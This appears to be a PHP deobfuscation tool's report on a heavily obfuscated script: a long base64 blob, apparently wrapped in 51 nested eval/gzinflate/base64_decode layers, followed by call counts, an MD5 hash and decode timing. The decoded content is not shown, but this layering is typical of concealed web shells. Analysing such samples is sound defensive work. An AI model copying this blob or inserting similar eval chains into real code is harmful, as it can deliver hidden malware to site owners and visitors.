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")));

Function Calls

gzinflate 51
base64_decode 51

Variables

None

Stats

MD5 b167515f0d0e018209ea7d8fdff65efc
Eval Count 51
Decode Time 385 ms